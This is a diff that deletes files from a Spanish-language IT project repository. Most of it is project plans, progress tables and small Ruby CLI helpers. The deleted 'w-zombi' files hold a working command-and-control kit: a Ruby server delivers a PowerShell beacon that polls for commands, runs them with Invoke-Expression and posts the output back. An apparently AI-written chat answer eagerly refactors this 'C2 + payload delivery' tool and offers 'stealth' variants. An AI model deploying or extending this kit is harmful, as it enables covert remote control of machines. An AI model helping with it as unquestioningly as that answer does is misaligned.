# - srv-ns8, srv-pmox* → dtic-Infraestructura
# - srvv-* → dtic-Servicios
# - bitacoras services → dtic-BITACORAS
```
---
## Cronograma y Avances
| Fase | Descripción | Progreso | Estado |
|------|-------------|----------|--------|
| F1 | DB-First: Tablas y Migraciones | 100% | ✅ |
| F2 | CLI Ruby: comandos `ambitos` y filters | 100% | ✅ |
| F3 | API Node.js: Endpoints y Dashboard | 100% | ✅ |
| F4 | Frontend Vite: UI/UX Ámbitos | 100% | ✅ **Fichas por Ámbito implementadas** (2026-03-25) |
| F5 | Validación: Documentación y QA | 100% | ✅ |
---
## Log de Actividades (Hitos)
| Fecha | Hora | Hito | Descripción |
|-------|------|------|-------------|
| 20/03 | 08:30 | 📋 Inicio Plan | Elaboración y aprobación del plan P2604.08 |
| 20/03 | 09:10 | 🗄️ Fase 1 OK | Tablas `ambitos` creadas y datos migrados |
| 20/03 | 09:29 | 🛠️ Fase 2 OK | CLI `ambitos` implementada y normalizada |
| 20/03 | 16:10 | 🔌 Fase 3 OK | API Node.js extendida con soporte para ámbitos |
| 20/03 | 16:37 | 💻 Fase 4 OK | Frontend Vite con dashboards de ámbitos |
| 20/03 | 16:40 | ✅ Fase 5 OK | Validación técnica: integración CLI/DB/Web exitosa |
| 20/03 | 20:45 | 📝 Fase 5 OK | Hebras ADN actualizadas (01, 02, 06, README.md) |
| 20/03 | 21:00 | 🎨 Fase 4 OK | Corrección CSS responsivo en tablas (table-layout: fixed, overflow-x) |
---
## Criterios de Éxito
1. ✅ Base de datos con tabla `ambitos` funcional
2. ✅ CLI permite crear/listar/gestionar ámbitos (con `--help` normalizado)
3. ✅ Eventos registran ámbito automáticamente desde nodo
4. ✅ API expone endpoints de ámbito
5. ✅ Frontend muestra selector de ámbito en mini header
6. ✅ Datos migrados correctamente
7. ✅ Documentación actualizada en todas las hebras ADN (incluido README.md)
---
## Notas Técnicas
- **Principio DB-First**: Todas las operaciones van primero a PostgreSQL
- **Integridad referencial**: Usar `ON DELETE SET NULL` para no perder datos
- **Menos es Más**: Un ámbito agrupa, no crea nueva entidad sin propósito
- **Compatibilidad**: Mantener `--nodo` existente; `--ambito` es complementario
- **Migración**: Los nodos existentes reciben `ambito_id = NULL` hasta ser migrados
- **Normalización CLI**: Todos los subcomandos DEBEN incluir `--help` usando `core/help_formatter.rb`
---
## Archivos a Crear/Modificar
### Nuevos
- `adn/tools/db/migrations/001_create_ambitos.sql`
- `adn/tools/db/migrations/002_migrate_nodos_ambitos.sql`
- `adn/tools/db/migrations/002_migrate_ambitos.rb`
- `adn/tools/db/core/ambito_db.rb`
- `adn/tools/cli/ambitos.rb`
- `servicios/nginx/dtic-bitacoras/backend/src/routes/ambitos.js`
- `servicios/nginx/dtic-bitacoras/frontend/src/pages/Ambitos.tsx`
### Modificar
- `adn/tools/cli/db/nodo.rb` (añadir `--ambito`, `--help`)
- `adn/tools/cli/db/evento.rb` (añadir `--ambito`, `--help`)
- `adn/tools/cli/nodos.rb` (filtros por ámbito, `--help`)
- `adn/tools/cli/salud.rb` (métricas por ámbito, `--help`)
- `adn/tools/db/core/bitacora_db.rb`
- `adn/tools/db/core/evento_db.rb`
- `adn/tools/core/help_formatter.rb` (si no existe)
- `adn/tools/core/error_handler.rb` (si no existe)
- `servicios/nginx/dtic-bitacoras/backend/src/server.js`
- `servicios/nginx/dtic-bitacoras/frontend/src/App.tsx`
- `adn/01_ontologia.md`
- `adn/02_bitacora.md`
- `adn/05_ia.md`
- `adn/06_gobernanza.md`
- `adn/README.md`
docs/proy/P2604_Mejoras-ADN/P2604.09_Referencia-Planes-Bitacora.md
-80
View File
@@ -1,80 +0,0 @@
# Plan P2604.09: Referencia Dinámica a Planes desde Bitácora Web
**Proyecto**: P2604 — Mejoras ADN
**Estado**: ✅ Completado
**Fecha**: 2026-03-27
---
## Objetivo
Permitir que los eventos de la bitácora web referencien directamente archivos de plan `.md` del repositorio, renderizándolos dinámicamente en un modal sin necesidad de reiniciar Docker.
## Problema
- Las descripciones de eventos mencionaban planes (`[P2601.09]`, `[P2604]`) como texto plano sin funcionalidad.
- No existía forma de consultar el contenido de un plan directamente desde la interfaz web.
- Cualquier referencia a un `.md` requería buscar el archivo manualmente en el repositorio.
## Solución Implementada
### Fase 1: Visor de documentos Markdown (#1309)
| Componente | Archivo | Descripción |
|---|---|---|
| Backend API | `backend/src/routes/docs.js` | Endpoint `/api/docs/:proyecto/:archivo` que sirve `.md` desde disco |
| Backend Server | `backend/src/server.js` | Registro de ruta `/api/docs` |
| Docker | `docker-compose.yml` | Volumen `docs/proy/` montado read-only en container API |
| Frontend | `frontend/src/App.tsx` | Modal visor con ReactMarkdown + handler de links |
| CSS | `frontend/src/index.css` | Estilos `.doc-viewer-content` y `.plan-link-btn` |
**Resultado**: Los archivos `.md` se pueden visualizar renderizados directamente en la web. El contenido se lee del disco en cada request, por lo que cualquier edición al `.md` se refleja inmediatamente.
### Fase 2: Campo `doc_path` centralizado (#1310)
| Componente | Archivo | Descripción |
|---|---|---|
| BD Schema | `docker/init.sql` | Columna `doc_path TEXT` en `bitacoras.entradas` |
| API CRUD | `backend/src/routes/entradas.js` | `doc_path` en INSERT y UPDATE dinámico |
| CLI | `adn/tools/cli/db/evento.rb` | Flag `--doc RUTA` en `evento:crear` y `evento:actualizar` |
| Frontend | `frontend/src/App.tsx` | Botón basado en `e.doc_path` (campo BD, no regex de descripción) |
| Contexto IA | `docs/prompt/260325-0900_Contexto-IA.md` | Convención documentada |
**Problema resuelto**: Los links en descripciones se rompían al renombrar archivos. Con `doc_path` como campo de BD, un solo `UPDATE` corrige todas las referencias.
## Arquitectura
```
docs/proy/ (host) ──[volumen :ro]──> /app/docs/proy/ (container API)
│
routes/docs.js
│
GET /api/docs/:proyecto/:archivo
│
Frontend ─── e.doc_path ─── botón click ─── fetch API ─── modal ReactMarkdown
```
## Uso
```bash
# Crear evento con plan vinculado
./adn/tools/run db evento:crear \
--doc P2601_Dasuten/P2601.09_DASUTEN-sin-DC.md \
--descripcion "Texto del evento" \
--nodo srv-ns8 --inicio 08:00
# Actualizar doc_path de un evento existente
./adn/tools/run db evento:actualizar 1308 \
--doc P2601_Dasuten/P2601.09_DASUTEN-sin-DC.md
```
## Progreso
| Fase | Descripción | Estado | Evento |
|---|---|---|---|
| 1 | Visor de documentos Markdown (API + modal) | ✅ 100% | #1309 |
| 2 | Campo `doc_path` centralizado (BD + CLI + frontend) | ✅ 100% | #1310 |
---
*Plan completado el 2026-03-27*
docs/proy/P2604_Mejoras-ADN/P2604_Mejoras-ADN.md
-259
View File
@@ -1,259 +0,0 @@
# P2604 - Mejoras al ADN
> Manifiesto de Proyecto | Referencia: [`adn/07_proyectos.md`](../../../adn/07_proyectos.md)
## Identificación
| Campo | Valor |
| :--- | :--- |
| **Código** | P2604 |
| **Nombre** | Mejoras al Ecosistema ADN |
| **Estado** | ⏳ En Ejecución |
| **Inicio** | 14/03/2026 |
| **Fin Estimado** | Continuo (mejora continua) |
## Objetivo
Mejoras atómicas, incrementales y reutilizables al ecosistema ADN. Una herramienta por vez, siguiendo los principios: **Menos es Más + Mejora Continua + Armonía Integral**.
## Stakeholders
| Rol | Persona | Visibilidad |
| :--- | :--- | :--- |
| **Responsable Técnico** | Lic. Ricardo MONLA | Operador directo |
| **Dirección de TIC** | (Jerárquico superior) | Dashboard asíncrono |
## Nodos Involucrados
### Nodos Exclusivos (Core)
| Nodo | IP | Rol en el Proyecto |
| :--- | :--- | :--- |
| [**srv-ns8**](../../../nodos/srv-ns8.md) | `10.0.10.8` | Servidor de desarrollo y ejecución del ADN |
## Herramientas
| Herramienta | Uso |
| :--- | :--- |
| **Ruby 3.x** | Lenguaje del ecosistema ADN |
| **RSpec** | Framework de tests |
| **RuboCop** | Lint automatizado |
| **GitHub Actions** | CI/CD (tests + lint) |
## Hitos Clave
| Fecha | ID | Estado | Hito |
| :--- | :--- | :---: | :--- |
| 14/03 | F1-F8 | ✅ | Tests core, deprecation banners, error handler, constants, logger, HelpFormatter, docs técnica, CI/CD |
| 15/03 | F9-F10 | ✅ | Integración MSPs con ADN + Saneamiento y consolidación (S1-S15) |
| 15/03 | F11-F12 | ✅ | Bitácora Web auto-refresh + Estado/Modo calculado automáticamente |
| 16/03 | RFC-01 | ✅ | Convención de nomenclature de proyectos (RFC-ADN-01) |
| 18/03 | WZ-v2 | ✅ | Plan e implementación de W-ZOMBI v2.0 (reemplazo sonda legacy) |
| — | DOC | 📍 | Actualizar README.md con funcionalidades nuevas (auto-refresh, estado/modo) |
| — | P2604.08 | ✅ | Implementación del modelo Ámbito/Nodo en el ecosistema ADN |
---
## Diagnóstico Integral
### Problemas Identificados
| # | Problema | Archivo(s) | Principio | Severidad |
| :--- | :--- | :--- | :--- | :--- |
| 1 | Sin tests para módulos core | `core/*.rb` | Menos es Más | Alta |
| 2 | Banner DEPRECATED incompleto | `cli/validador.rb` | Armonía | Media |
| 3 | core/validador.rb sin deprecation | `core/validador.rb` | Armonía | Media |
| 4 | Constantes de colores hardcodeadas | `core/colores.rb` | Menos es Más | Baja |
| 5 | Sin handler de errores global | `run` | Armonía | Alta |
| 6 | db/exporters sin tests | `db/exporters/*.rb` | Menos es Más | Media |
| 7 | Logger sin rotación | `core/logger.rb` | Mejora Cont. | Baja |
| 8 | Help inconsistente entre CLI | `cli/*.rb` | Armonía | Baja |
| 9 | Sonda W-ZOMBI monolítica e inflexible | `adn/tools/sonda_w-zombi/servidor.rb` | Menos es Más | Alta |
---
## Plan de Mejoras (13 Fases)
### Fase 1: Tests Core (Menos es Más)
| ID | Módulo | Tests | Estado |
| :--- | :--- | :--- | :--- |
| T1 | `spec/db/evento_spec.rb` | 3 | ✅ |
| T2 | `spec/core/colores_spec.rb` | 6 | ✅ |
| T3 | `spec/core/validador_spec.rb` | 6 | ✅ |
| T4 | `spec/cli/help_spec.rb` | 0 | 📍 |
### Fase 2: Deprecation Banners (Armonía)
| ID | Archivo | Acción | Estado |
| :--- | :--- | :--- | :--- |
| D1 | `cli/validador.rb` | Banner agregado | ✅ |
| D2 | `core/validador.rb` | Revisar - útil para validaciones | ⏸️ |
| D3 | `db/exporters/md_exporter.rb` | Banner agregado | ✅ |
### Fase 3: Manejo de Errores (Armonía)
| ID | Mejora | Estado |
| :--- | :--- | :--- |
| E1 | Agregar `rescue` global en `run` | ✅ |
| E2 | Estandarizar mensajes de error | ✅ |
| E3 | Logging de excepciones no manejadas | ✅ |
**Herramientas creadas:** `core/error_handler.rb`, excepciones en `core/constants.rb`
### Fase 4: Constantes y Config (Menos es Más)
| ID | Mejora | Estado |
| :--- | :--- | :--- |
| C1 | Documentar constantes en constants.rb | ✅ |
| C2 | Agregar constantes reutilizables (estados, modos) | ✅ |
| C3 | Validar constantes al inicio | ✅ |
### Fase 5: Logger Mejorado (Mejora Continua)
| ID | Mejora | Estado |
| :--- | :--- | :--- |
| L1 | Agregar rotación de logs | ✅ |
| L2 | Niveles de log configurables | ✅ |
| L3 | Output JSON estructurado | ✅ |
### Fase 6: Help Consistente (Armonía)
| ID | Mejora | Estado |
| :--- | :--- | :--- |
| H1 | HelpFormatter helper reutilizable | ✅ |
### Fase 7: Documentación Técnica
| ID | Documento | Estado |
| :--- | :--- | :--- |
| DOC1 | `docs/tecnica/adn_cli.md` | ✅ |
| DOC2 | `docs/tecnica/adn_core.md` | ✅ |
| DOC3 | `docs/tecnica/adn_tests.md` | ✅ |
### Fase 8: CI/CD
| ID | Mejora | Estado |
| :--- | :--- | :--- |
| CI1 | GitHub Actions para tests | ✅ |
| CI2 | Lint automatizado (.rubocop.yml) | ✅ |
### Fase 9: Integración MSP (Armonía Integral)
| ID | Mejora | Estado |
| :--- | :--- | :--- |
| M1 | Auditoría de MSPs | ✅ |
| M2 | Registro de MSPs en BD | ✅ |
| M3 | Listado de MSPs disponibles | ✅ |
| M4 | Documentación de integración | ✅ |
| M5 | Reutilizar NodosInfo en CLI | ✅ |
### Fase 10: Saneamiento y Consolidación
| ID | Mejora | Estado |
| :--- | :--- | :--- |
| S1-S9 | Limpieza de código muerto y duplicaciones | ✅ |
| S10 | Migrar SubcomandoSalud a namespace ADN | ✅ |
| S11 | CLI `ssh` — ejecución remota reutilizable | ✅ |
| S12 | Refactorizar ssh.rb — leer datos de fichas | ✅ |
| S13 | Consolidar core/ — submódulos CLI | ✅ |
| S14 | Subcomando `nodos info` | ✅ |
| S15 | Actualizar README.md con estructura real | ✅ |
### Fase 11: Bitácora Web (Mejora Continua)
| ID | Mejora | Estado |
| :--- | :--- | :--- |
| B1 | Auto-refresh cada 30 segundos | ✅ |
| B2 | Refresh al recuperar foco | ✅ |
| B3 | Smart refresh (comparando max_id) | ✅ |
### Fase 12: Consistencia de Eventos (Menos es Más)
| ID | Mejora | Estado |
| :--- | :--- | :--- |
| E1 | Estado calculado automáticamente | ✅ |
| E2 | Modo resuelto desde última jornada | ✅ |
| E3 | Estado automático al actualizar con --fin | ✅ |
### Fase 13: Implementación W-ZOMBI v2.0 (Mejora Continua)
| ID | Mejora | Estado |
| :--- | :--- | :--- |
| W1 | Implementación de arquitectura modular | ✅ |
| W2 | Integración como subcomando ADN-CLI | ✅ |
| W3 | Test de despliegue y telemetría | ✅ |
### Fase 14: Estandarización Visual (Armonía Integral)
| ID | Mejora | Estado |
| :--- | :--- | :--- |
| V1 | Implementar barras de progreso Unicode en P2604 | ✅ |
| V2 | Propagar notación de barras a P2601 | ✅ |
| V3 | Crear guía de estilo para indicadores visuales | ✅ |
### Fase 15: Optimización de Intervención IA (Mejora Continua)
| ID | Mejora | Estado |
| :--- | :--- | :--- |
| IA1 | Diagnóstico de logs y fricción (sesión 18/03) | ✅ |
| IA2 | Refactorización de directivas en 05_ia.md | ✅ |
| IA3 | Automatización de contexto de seguridad (candados) | ✅ |
| IA4 | Validación de reducción de pasos exploratorios | ✅ |
### Fase 16: Modelo Ámbito/Nodo (Armonía Integral)
| ID | Mejora | Estado |
| :--- | :--- | :--- |
| A1 | Base de Datos: tabla `ambitos`, columnas `ambito_id` | ✅ |
| A2 | CLI Ruby: comando `ambitos`, normalización `--help` | ✅ |
| A3 | API REST: endpoints `/api/ambitos/*` | ✅ |
| A4 | Frontend: AmbitoDashboard con selector de ámbito | ✅ |
| A5 | Documentación: hebras ADN actualizadas | ✅ |
---
## Progreso
```
Fase 1: ██████████ 100% Tests Core
Fase 2: ██████░░░░ 67% Deprecation
Fase 3: ██████████ 100% Error Handler
Fase 4: ██████████ 100% Constants
Fase 5: ██████████ 100% Logger
Fase 6: ██████████ 100% HelpFormatter
Fase 7: ██████████ 100% Documentación
Fase 8: ██████████ 100% CI/CD
Fase 9: ██████████ 100% MSP
Fase 10: ██████████ 100% Saneamiento
Fase 11: ██████████ 100% Bitácora Web
Fase 12: ██████████ 100% Eventos
Fase 13: ██████████ 100% W-ZOMBI v2.0
Fase 14: ██████████ 100% Visibilidad
Fase 15: ██████████ 100% Optimización IA
Fase 16: ██████████ 100% Ámbito/Nodo
```
## Métricas Totales
| Métrica | Valor |
| :--- | :--- |
| Tests pasando | 15 |
| Archivos creados | 14 |
| Archivos modificados | 12 |
| Archivos limpiados/movidos | 20+ |
| Fases completadas | 13/13 (100%) |
## Planes de Ejecución
- [Estandarización de Ayudas en Pantalla para Herramientas ADN](P2604.01.01_Estandarizacion-Ayudas-ADN.md)
- [Implementación W-ZOMBI v2.0](P2604.03.01_Plan-W-ZOMBI-v2.0.md)
- [Estandarización de Indicadores Visuales de Progreso](P2604.04.01_Estandarizacion-Barras-Progreso.md)
- [Estudio de Fricción IA (Antigravity) y Mejora Continua](P2604.05.01_Estudio-Friccion-IA.md)
- [Modelo Ámbito/Nodo para el Ecosistema ADN](P2604.08_Ambito-Nodo.md)
## Referencias
- **Punto de verdad**: [`adn/README.md`](../../../adn/README.md)
- **ADN**: [Ontología](../../../adn/01_ontologia.md) | [Proyectos](../../../adn/07_proyectos.md)
- **ADN IA**: [05_ia.md](../../../adn/05_ia.md)
- **Bitácoras**: IDs 1054-1056, 1073, 1106, 1112, 1163 vía `./adn/tools/run db evento:listar --detalle`
docs/proy/P2604_Mejoras-ADN/_hist/adn_proy_cli/tools/cli/proy.rb
-51
View File
@@ -1,51 +0,0 @@
# frozen_string_literal: true
require_relative '../core/help_formatter'
require_relative 'proy/generador'
module ADN
class SubcomandoProy
def initialize(args, logger)
@args = args
@logger = logger
end
def ejecutar
if @args.empty?
mostrar_ayuda
return
end
accion = @args.shift
case accion
when 'nuevo'
tipo = @args.shift
GeneradorProy.nuevo(tipo)
when 'ayuda', 'help', '-h', '--help'
mostrar_ayuda
else
puts "✗ Acción desconocida: #{accion}"
mostrar_ayuda
exit 1
end
end
private
def mostrar_ayuda
puts ADN::HelpFormatter.generar_help(
titulo: "Gestión de Proyectos",
descripcion: "Creación de estructuras basadas en plantillas",
uso: "./adn/tools/run proy nuevo [tipo]",
opciones: [
{ names: ['nuevo [plan|subplan|mejora|incidente|tarea]'], desc: "Crear estructura desde plantilla" }
],
ejemplos: [
{ cmd: "./adn/tools/run proy nuevo plan", desc: "Crear un plan nuevo" },
{ cmd: "./adn/tools/run proy nuevo mejora", desc: "Crear mejora" }
]
)
end
end
end
docs/proy/P2604_Mejoras-ADN/_hist/adn_proy_cli/tools/cli/proy/generador.rb
-20
View File
@@ -1,20 +0,0 @@
# frozen_string_literal: true
require_relative 'plantillas'
module ADN
class GeneradorProy
def self.nuevo(tipo)
unless Plantillas.existe?(tipo)
puts "✗ Tipo inválido: #{tipo}"
return
end
contenido = Plantillas.obtener(tipo)
nombre_archivo = "nuevo_#{tipo}.md"
File.write(nombre_archivo, contenido)
puts "✓ Archivo generado: #{nombre_archivo}"
end
end
end
docs/proy/P2604_Mejoras-ADN/_hist/adn_proy_cli/tools/cli/proy/plantillas.rb
-85
View File
@@ -1,85 +0,0 @@
# frozen_string_literal: true
module ADN
module Plantillas
def self.existe?(tipo)
plantillas.key?(tipo)
end
def self.obtener(tipo)
plantillas[tipo]
end
def self.plantillas
{
"plan" => template_plan,
"subplan" => template_subplan,
"mejora" => template_mejora,
"incidente" => template_incidente,
"tarea" => template_tarea
}
end
def self.template_plan
<<~MD
# [Código] - Plan
## Objetivo
...
## Fases
- [ ] Tarea
MD
end
def self.template_subplan
<<~MD
# [Código] - Subplan Técnico
## Contexto Técnico
...
## Procedimiento
...
MD
end
def self.template_mejora
<<~MD
# [Código] - Mejora
## Objetivo
...
## Implementación
...
MD
end
def self.template_incidente
<<~MD
# [Código] - Incidente
## Descripción
...
## Resolución
...
MD
end
def self.template_tarea
<<~MD
# [Código] - Tarea
## Descripción
...
## Estado
⏳
MD
end
end
end
docs/proy/P2604_Mejoras-ADN/_hist/adn_proy_cli/tools/core/help_formatter.rb
-26
View File
@@ -1,26 +0,0 @@
# frozen_string_literal: true
module ADN
module HelpFormatter
def self.generar_help(titulo:, descripcion:, uso:, opciones:, ejemplos:)
output = []
output << titulo
output << "-" * titulo.length
output << descripcion
output << ""
output << "Uso:"
output << " #{uso}"
output << ""
output << "Opciones:"
opciones.each do |opt|
output << " #{opt[:names].join(', ')} - #{opt[:desc]}"
end
output << ""
output << "Ejemplos:"
ejemplos.each do |ej|
output << " #{ej[:cmd]} - #{ej[:desc]}"
end
output.join("\n")
end
end
end
docs/proy/P2604_Mejoras-ADN/_hist/w-zombi_v1.2.md
-311
View File
@@ -1,311 +0,0 @@
Bien, esto está interesante porque ya tenés una base bastante potente (C2 + payload delivery), pero ahora mismo está **muy monolítico**. La mejora clave es **atomizar responsabilidades** y convertirlo en algo reutilizable dentro del ecosistema ADN.
Te propongo una **refactorización por capas + componentes reutilizables en Ruby**:
---
# 🔧 Problemas actuales (rápido y directo)
* `w-zombi.rb` hace TODO:
* servidor HTTP
* lógica C2
* gestión de comandos
* logging
* entrega de payloads
* Config hardcodeada
* Payloads desacoplados (bien), pero sin metadata
* No hay interfaz clara tipo CLI ADN
* No es reusable como librería
---
# 🧠 Propuesta: Arquitectura modular ADN-style
## 📁 Nueva estructura
```
w-zombi/
├── bin/
│ └── w-zombi # CLI entrypoint
├── lib/
│ └── wzombi/
│ ├── server.rb
│ ├── config.rb
│ ├── logger.rb
│ ├── command_store.rb
│ ├── payload_manager.rb
│ ├── routes/
│ │ ├── zombi.rb
│ │ ├── log.rb
│ │ └── cmd.rb
│ └── engine/
│ └── ps1_builder.rb
├── payloads/
├── data/
│ ├── cmd.json
│ └── telemetria.log
└── w-zombi.gemspec (opcional)
```
---
# 🧩 Componentes atomizados
## 1. Configuración central (reutilizable en todo ADN)
```ruby
# lib/wzombi/config.rb
module WZombi
class Config
attr_reader :puerto, :base_path
def initialize(base_path:)
@base_path = base_path
@puerto = ENV.fetch("WZ_PORT", 8000).to_i
end
def log_path
File.join(base_path, "data/telemetria.log")
end
def cmd_path
File.join(base_path, "data/cmd.json")
end
def payloads_path
File.join(base_path, "payloads")
end
end
end
```
👉 Esto después lo podés reutilizar en otras tools ADN.
---
## 2. Logger desacoplado
```ruby
# lib/wzombi/logger.rb
module WZombi
class Logger
def initialize(path)
@path = path
end
def log(msg)
line = "[#{Time.now.strftime('%H:%M:%S')}] #{msg}"
File.open(@path, "a") { |f| f.puts(line) }
end
end
end
```
---
## 3. Store de comandos (clave para escalar)
```ruby
# lib/wzombi/command_store.rb
require 'json'
module WZombi
class CommandStore
def initialize(path)
@path = path
init_file
end
def init_file
File.write(@path, { id: 0, cmd: "" }.to_json) unless File.exist?(@path)
end
def current
JSON.parse(File.read(@path))
end
def update(cmd)
data = current
data["id"] += 1
data["cmd"] = cmd
File.write(@path, data.to_json)
end
end
end
```
👉 Esto después lo podés cambiar por Redis o DB sin tocar el resto.
---
## 4. Generador de payload (MUY clave)
Ahora lo tenés hardcodeado en el endpoint.
Lo ideal:
```ruby
# lib/wzombi/engine/ps1_builder.rb
module WZombi
module Engine
class PS1Builder
def self.build(host:)
<<~PS1
# W-ZOMBI ENGINE
$WZ_HOST = "#{host}"
$LAST_CMD_ID = "0"
function Log-C2 {
param([string]$msg)
try {
Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body $msg -ContentType "text/plain"
} catch {}
}
PS1
end
end
end
end
```
👉 Esto permite:
* versionar engines
* generar variantes (stealth, debug, etc.)
---
## 5. Rutas separadas (mini framework interno)
```ruby
# lib/wzombi/routes/zombi.rb
module WZombi
module Routes
class Zombi
def initialize(config)
@config = config
end
def call(_req, res)
res.body = Engine::PS1Builder.build(host: "127.0.0.1:#{@config.puerto}")
end
end
end
end
```
---
## 6. Servidor limpio
```ruby
# lib/wzombi/server.rb
require 'webrick'
module WZombi
class Server
def initialize(config)
@config = config
end
def start
server = WEBrick::HTTPServer.new(Port: @config.puerto)
server.mount_proc('/zombi.ps1', &Routes::Zombi.new(@config).method(:call))
trap("INT") { server.shutdown }
server.start
end
end
end
```
---
## 7. CLI estilo ADN (clave para tu ecosistema)
```ruby
# bin/w-zombi
#!/usr/bin/env ruby
require_relative '../lib/wzombi/config'
require_relative '../lib/wzombi/server'
base = File.expand_path("..", __dir__)
config = WZombi::Config.new(base_path: base)
cmd = ARGV[0]
case cmd
when "start"
WZombi::Server.new(config).start
when "cmd"
require_relative '../lib/wzombi/command_store'
store = WZombi::CommandStore.new(config.cmd_path)
store.update(ARGV[1])
puts "Comando actualizado"
else
puts "Uso: w-zombi [start|cmd]"
end
```
---
# 🚀 Mejoras clave que ganás
## ✅ Reutilización ADN
* `Config`, `Logger`, `CommandStore` → reutilizables en otras tools
## ✅ Escalabilidad
* Podés cambiar:
* WEBrick → Sinatra / Falcon
* JSON → Redis
* archivos → DB
## ✅ Versionado de payloads
* Podés tener:
```
payloads/
v1/
v2/
stealth/
```
## ✅ Automatización futura
* Integrar con tus comandos tipo:
```
adn zombi deploy
adn zombi cmd "whoami"
```
---
# 🧠 Bonus (muy alineado a tu ecosistema)
Podrías integrar esto con tu CLI general:
```
adn tools zombi start
adn tools zombi cmd "ipconfig"
```
Y que internamente use este módulo.
---
# 💡 Siguiente paso recomendado
Si querés, en el próximo paso te hago:
👉 **Versión 2.0 completa refactorizada lista para usar (zip o repo)**
👉 Integración directa con tu estructura `adn/tools/cli`
👉 O agregarle **multi-agente / multi-zombi tracking (nivel pro)**
Decime hasta dónde querés llevarlo 😄
docs/proy/P2604_Mejoras-ADN/_hist/w-zombi_v2.0/bin/w-zombi
-43
View File
@@ -1,43 +0,0 @@
#!/usr/bin/env ruby
require_relative '../lib/wzombi/config'
require_relative '../lib/wzombi/server'
require_relative '../lib/wzombi/command_store'
base = File.expand_path("..", __dir__)
config = WZombi::Config.new(base_path: base)
def help
puts <<~HELP
Uso:
w-zombi start
w-zombi cmd "<comando>"
w-zombi ayuda | -h | -help
Ejemplo ADN:
adn tools w-zombi cmd "ipconfig"
HELP
end
cmd = ARGV[0]
case cmd
when "start"
WZombi::Server.new(config).start
when "cmd"
command = ARGV[1]
if command.nil?
puts "Falta comando"
exit
end
store = WZombi::CommandStore.new(config.cmd_path)
store.update(command)
puts "Comando actualizado: #{command}"
when "ayuda", "-h", "-help", nil
help
else
puts "Comando desconocido"
help
end
docs/proy/P2604_Mejoras-ADN/_hist/w-zombi_v2.0/data/cmd.json
-1
View File
@@ -1 +0,0 @@
{"id":0,"cmd":""}
docs/proy/P2604_Mejoras-ADN/_hist/w-zombi_v2.0/lib/wzombi/command_store.rb
-25
View File
@@ -1,25 +0,0 @@
require 'json'
module WZombi
class CommandStore
def initialize(path)
@path = path
init_file
end
def init_file
File.write(@path, { id: 0, cmd: "" }.to_json) unless File.exist?(@path)
end
def current
JSON.parse(File.read(@path))
end
def update(cmd)
data = current
data["id"] += 1
data["cmd"] = cmd
File.write(@path, data.to_json)
end
end
end
docs/proy/P2604_Mejoras-ADN/_hist/w-zombi_v2.0/lib/wzombi/config.rb
-22
View File
@@ -1,22 +0,0 @@
module WZombi
class Config
attr_reader :puerto, :base_path
def initialize(base_path:)
@base_path = base_path
@puerto = ENV.fetch("WZ_PORT", 8000).to_i
end
def log_path
File.join(base_path, "data/telemetria.log")
end
def cmd_path
File.join(base_path, "data/cmd.json")
end
def payloads_path
File.join(base_path, "payloads")
end
end
end
docs/proy/P2604_Mejoras-ADN/_hist/w-zombi_v2.0/lib/wzombi/engine/ps1_builder.rb
-36
View File
@@ -1,36 +0,0 @@
module WZombi
module Engine
class PS1Builder
def self.build(host:)
<<~PS1
# W-ZOMBI ENGINE
$WZ_HOST = "#{host}"
$LAST_CMD_ID = 0
function Get-Cmd {
try {
return Invoke-RestMethod -Uri "http://$WZ_HOST/cmd"
} catch {}
}
function Send-Log {
param([string]$msg)
try {
Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body $msg -ContentType "text/plain"
} catch {}
}
while ($true) {
$cmdData = Get-Cmd
if ($cmdData.id -ne $LAST_CMD_ID) {
$LAST_CMD_ID = $cmdData.id
$result = Invoke-Expression $cmdData.cmd 2>&1 | Out-String
Send-Log $result
}
Start-Sleep -Seconds 5
}
PS1
end
end
end
end
docs/proy/P2604_Mejoras-ADN/_hist/w-zombi_v2.0/lib/wzombi/logger.rb
-12
View File
@@ -1,12 +0,0 @@
module WZombi
class Logger
def initialize(path)
@path = path
end
def log(msg)
line = "[#{Time.now.strftime('%H:%M:%S')}] #{msg}"
File.open(@path, "a") { |f| f.puts(line) }
end
end
end
docs/proy/P2604_Mejoras-ADN/_hist/w-zombi_v2.0/lib/wzombi/routes/cmd.rb
-16
View File
@@ -1,16 +0,0 @@
require 'json'
module WZombi
module Routes
class Cmd
def initialize(config)
@config = config
end
def call(_req, res)
res['Content-Type'] = 'application/json'
res.body = File.read(@config.cmd_path)
end
end
end
end
docs/proy/P2604_Mejoras-ADN/_hist/w-zombi_v2.0/lib/wzombi/routes/log.rb
-14
View File
@@ -1,14 +0,0 @@
module WZombi
module Routes
class Log
def initialize(config)
@config = config
end
def call(req, res)
File.open(@config.log_path, "a") { |f| f.puts(req.body) }
res.body = "OK"
end
end
end
end
docs/proy/P2604_Mejoras-ADN/_hist/w-zombi_v2.0/lib/wzombi/routes/zombi.rb
-15
View File
@@ -1,15 +0,0 @@
require_relative '../engine/ps1_builder'
module WZombi
module Routes
class Zombi
def initialize(config)
@config = config
end
def call(_req, res)
res.body = Engine::PS1Builder.build(host: "127.0.0.1:#{@config.puerto}")
end
end
end
end
docs/proy/P2604_Mejoras-ADN/_hist/w-zombi_v2.0/lib/wzombi/server.rb
-25
View File
@@ -1,25 +0,0 @@
require 'webrick'
require_relative 'routes/zombi'
require_relative 'routes/cmd'
require_relative 'routes/log'
module WZombi
class Server
def initialize(config)
@config = config
end
def start
server = WEBrick::HTTPServer.new(Port: @config.puerto)
server.mount_proc('/zombi.ps1', &Routes::Zombi.new(@config).method(:call))
server.mount_proc('/cmd', &Routes::Cmd.new(@config).method(:call))
server.mount_proc('/log', &Routes::Log.new(@config).method(:call))
trap("INT") { server.shutdown }
puts "[W-ZOMBI] Servidor corriendo en puerto #{@config.puerto}"
server.start
end
end
end
docs/proy/P2605_Bitacoras-Web/P2605_Migracion_Solo_Bitacoras_Web.md
-142
View File
@@ -1,142 +0,0 @@
# P2605 - Migración a Bitácoras Web
> Manifiesto de Proyecto | Referencia: [`adn/07_proyectos.md`](../../../adn/07_proyectos.md)
## Identificación
| Campo | Valor |
| :--- | :--- |
| **Código** | P2605 |
| **Nombre** | Migración a Bitácoras Web (DB-First) |
| **Estado** | ✅ Completado |
| **Inicio** | 05/03/2026 |
| **Fin** | 12/03/2026 |
## Objetivo
Dejar de editar manualmente archivos `.md`. La Web y los comandos ADN escriben en la DB; el `.md` se genera automáticamente como respaldo.
## Stakeholders
| Rol | Persona | Visibilidad |
| :--- | :--- | :--- |
